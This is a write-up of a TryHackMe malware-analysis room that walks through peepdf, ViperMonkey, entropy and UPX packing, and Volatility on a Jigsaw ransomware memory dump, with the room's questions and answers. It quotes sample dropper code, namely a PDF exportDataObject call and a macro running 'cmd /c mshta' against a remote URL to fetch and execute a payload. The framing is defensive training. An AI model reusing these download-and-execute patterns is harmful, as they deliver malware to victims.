MAL: REMnux - The Redux
Overview — MAL: REMnux - The Redux is a hands-on tour of the REMnux malware-analysis Linux distribution. You triage malicious PDFs with peepdf, emulate VBA macros in Word documents with ViperMonkey, learn how file entropy and packers (UPX) reveal obfuscated executables, and finish with a Volatility pass over a Windows 7 memory image infected by Jigsaw ransomware.
| Platform | TryHackMe |
| Category | Blue Team & SOC |
| Difficulty | Easy |
| Room | MAL: REMnux - The Redux |
Task 1 — Introduction
REMnux is a free Ubuntu-based toolkit for reverse-engineering and analysing malware. This room replaces an older one that broke when REMnux changed. Instead of reading cheat sheets, you analyse three common delivery vehicles hands-on: documents with embedded payloads (PDF and Office), packed executables, and a memory dump from an infected machine. No questions are asked here.
Task 2 — Deploy
Use the in-browser machine, or connect over SSH with the account the room provides (the instance's address is shown as MACHINE_IP). The default REMnux user is remnux; the room tells you the password on the task page.
ssh remnux@MACHINE_IP
Samples live under ~/Tasks/<task number>/.
Task 3 — Analysing malicious PDFs
PDF is a container format that can carry far more than text: JavaScript, launch actions, embedded files (including executables) and links. Attackers abuse two PDF features in particular. /OpenAction makes code run as soon as the document opens, and /Launch asks the viewer to start another program or file. Triage means finding these objects and reading the code without ever opening the file in a viewer.
peepdf parses the PDF structure and flags suspicious elements. Run it on a sample:
cd ~/Tasks/3
peepdf notsuspicious.pdf
In the summary, look at the Suspicious elements list and at the line Objects with JS code. For notsuspicious.pdf it shows /OpenAction, /JS and /JavaScript: three categories, with the script in object 6 running on open. To dump the JavaScript without executing it, pass a command to peepdf:
peepdf -C "extract js" notsuspicious.pdf
-Cruns a single peepdf console command non-interactively.extract jsprints every JavaScript object found, annotated with the object number. You can also write the command into a file and runpeepdf -s script.txt sample.pdf, redirecting with>inside the script.
// peepdf comment: Javascript code located in object 6 (version 0)
app.alert("FLAG");
The script is just a harmless alert, but this is exactly the spot where a real sample would hold a downloader.
Q: How many categories of "Suspicious elements" are there in notsuspicious.pdf?
A: 3
Q: Use peepdf to extract the JavaScript from notsuspicious.pdf. What is the flag?
A: FLAG
The second sample, advert.pdf, is more interesting. Its summary shows several incremental updates ("versions"), and the last one carries the dangerous objects: /OpenAction, /Names (twice), /AA, /JS, /Launch and /JavaScript, which is six categories in total once duplicates across versions are merged. Incremental updates are a classic trick, because malicious additions are appended to an innocent-looking first revision.
peepdf advert.pdf
peepdf -C "extract js" advert.pdf
// peepdf comment: Javascript code located in object 27 (version 2)
this.exportDataObject({
cName: "notsuspicious",
nLaunch: 0
});
exportDataObject asks Acrobat to save an embedded file named notsuspicious to disk. The extension looks like a PDF, but the attachment is really a Windows executable. In the room's demonstration, opening the file and accepting the prompt gives the attacker a reverse shell. Opening the saved file in a hex editor shows the MZ header of a PE file, and running strings on it reveals the attacker's callback address and port. This is why you extract the payload, hash it, and examine its strings instead of trusting the file name.
Q: How many categories of "Suspicious elements" are there in advert.pdf?
A: 6
Q: Extract the JavaScript from advert.pdf. What is the value of cName?
A: notsuspicious
Task 4 — Analysing malicious Office macros
Macros in Word and Excel documents remain one of the most common ways to deliver malware; families such as Emotet, QakBot and Ryuk-linked loaders have used them. The document looks like an invoice, and once the user clicks "Enable Editing/Content", a VBA procedure runs and acts as a dropper: it downloads and launches the real payload, such as ransomware. Authors hide the payload to dodge antivirus, for instance by splitting the logic into two stages where the macro reads an encoded string stored as white, borderless text in the document body. The macro does not need the text to be visible, only to exist.
ViperMonkey (vmonkey) is a VBA emulator: it parses the macros and emulates them without running them on the host, and it records actions such as Shell calls and URLs.
cd ~/Tasks/4
vmonkey DefinitelyALegitInvoice.doc
Under VBA MACRO ThisDocument.cls, the extracted code is one procedure, DefoLegit, which calls Shell with a cmd /c mshta http://<internal-address>:4444/MyDropper.exe command, and the "Recorded Actions" table repeats that execute-command action. Some error lines about a missing unotools Python module appear in the output, but they only affect the document-text extraction, not the VBA analysis.
mshta is a living-off-the-land binary that normally runs HTML Applications; attackers like it because it is signed by Microsoft and can fetch and execute content from a URL. Whether the sample would actually work is not the point here: the intent and the IOC (the URL) are.
Run the same command against the second file:
vmonkey Taxes2020.doc
This time the macro has a randomised-looking name, X544FE, and calls mshta with a different URL. Meaningless procedure names are another small indicator of generated or obfuscated macros.
Q: What is the name of the macro in DefinitelyALegitInvoice.doc?
A: DefoLegit
Q: What URL would the macro in Taxes2020.doc try to launch?
A: http://tryhackme.com/notac2cserver.sh
If ViperMonkey cannot cope with heavy obfuscation, olevba from oletools (also on REMnux) extracts the macro source and flags suspicious keywords such as Shell, AutoOpen and CreateObject.
Task 5 — Entropy and packing
Entropy measures how random the bytes in a file are, on a scale from 0 to 8 bits per byte. Repetitive data (long runs of the same byte) is near 0. Encrypted or compressed data looks random and approaches 8. Packers compress and/or encrypt the real program, so packed executables have unusually high entropy; if you must triage a thousand files, sort by entropy and look at the highest first.
A packer takes an executable and produces another one that contains the transformed original plus an unpacking stub. The entry point is moved to that stub, which decompresses the original code into memory and then jumps to the real entry point. Only then does the true program exist in a readable form. Legitimate vendors pack to reduce size and protect code; malware authors do it to hinder reverse engineering and signature-based detection.
Signs that an executable is packed:
- High entropy in the code sections.
- Very few imports, often only
LoadLibraryandGetProcAddress, which the stub uses to resolve the rest at runtime. - Sections named after a packer, such as
UPX0andUPX1, with the entry point inside the latter.
The room's demo compares an unpacked build with 34 imports against the same program packed with UPX, which shows only 6 imports and an entropy of about 7.5 out of 8. UPX is also trivially reversible with upx -d, one reason it is the usual first stop.
Q: What is the highest file entropy a file can have?
A: 8
Q: What is the lowest file entropy a file can have?
A: 0
Q: Name a common packer.
A: UPX
Task 6 — Memory forensics with Volatility
The last practical task analyses ~/Tasks/6/Win7-Jigsaw.raw, a RAM capture of a Windows 7 machine infected with Jigsaw ransomware. Memory is valuable because a packed or injected sample must be unpacked in RAM to run, and processes, network connections and loaded DLLs are all visible there even if the on-disk file is gone.
The room uses Volatility 2, which needs a profile describing the OS build so it knows how to parse kernel structures. Normally you would find it with imageinfo, which can take a very long time, so the room supplies it: Win7SP1x64.
volatility -f Win7-Jigsaw.raw --profile=Win7SP1x64 pslist
volatility -f Win7-Jigsaw.raw --profile=Win7SP1x64 dlllist -p 3704
pslistwalks the kernel's process list, giving names, PIDs, parent PIDs and start times. Hunt for names you do not recognise, odd parents or odd paths. Here Chrome is expected, butdrpbx.exe(PID 3704) is not a normal Windows process, and it is the ransomware.dlllist -pshows the libraries loaded by that process.CRYPTBASE.dllstands out: a cryptography helper library in a process that should not obviously need it is consistent with a file encryptor. It is circumstantial evidence, not proof, and further steps (dumping the process, checking handles and network connections) would confirm it.
The room ends with an invitation to dig further, for example with netscan, handles and procdump.
Task 7 — Finishing up
Macros are legitimate Office features that droppers abuse, so the defensive controls are to block macros from the internet, restrict them by policy, and detonate attachments in a sandbox. The closing task suggests re-doing the earlier steps with alternative tools on the same box.
Task 8 — References and further reading
Informational only. Good follow-ups are the REMnux documentation site and the Volatility 2 command reference.
Quick reference
| Tool or concept | What it is for | Room task |
|---|---|---|
peepdf | Flags /OpenAction, /JS, /Launch and dumps JavaScript without executing it | Task 3 |
ViperMonkey (vmonkey) | Emulates VBA macros without running them on the host | Task 4 |
olevba | Extracts macro source when emulation struggles with obfuscation | Task 4 |
| Entropy | 0 to 8 scale; high values in code sections suggest packing | Task 5 |
| UPX | Common packer; packed build shows far fewer imports | Task 5 |
| Volatility 2 | pslist and dlllist on the Jigsaw memory image | Task 6 |
| Volatility profile | Describes the OS build so kernel structures parse correctly | Task 6 |
Key takeaways
- Triage documents statically:
peepdffor PDFs (/OpenAction,/JS,/Launch, embedded files) andvmonkey/olevbafor Office macros. - File extensions mean nothing; an "attachment" can be a PE file, so check headers and strings, and extract IOCs (URLs, IPs, ports).
- High entropy, a tiny import table and packer-named sections point to a packed binary.
- Memory images reveal what is actually running; learn
pslist,dlllistand friends, and always pick the right Volatility profile. - Defence: disable macros from untrusted sources, filter risky attachment types and keep endpoint telemetry that can flag
mshtaand Office-spawned shells.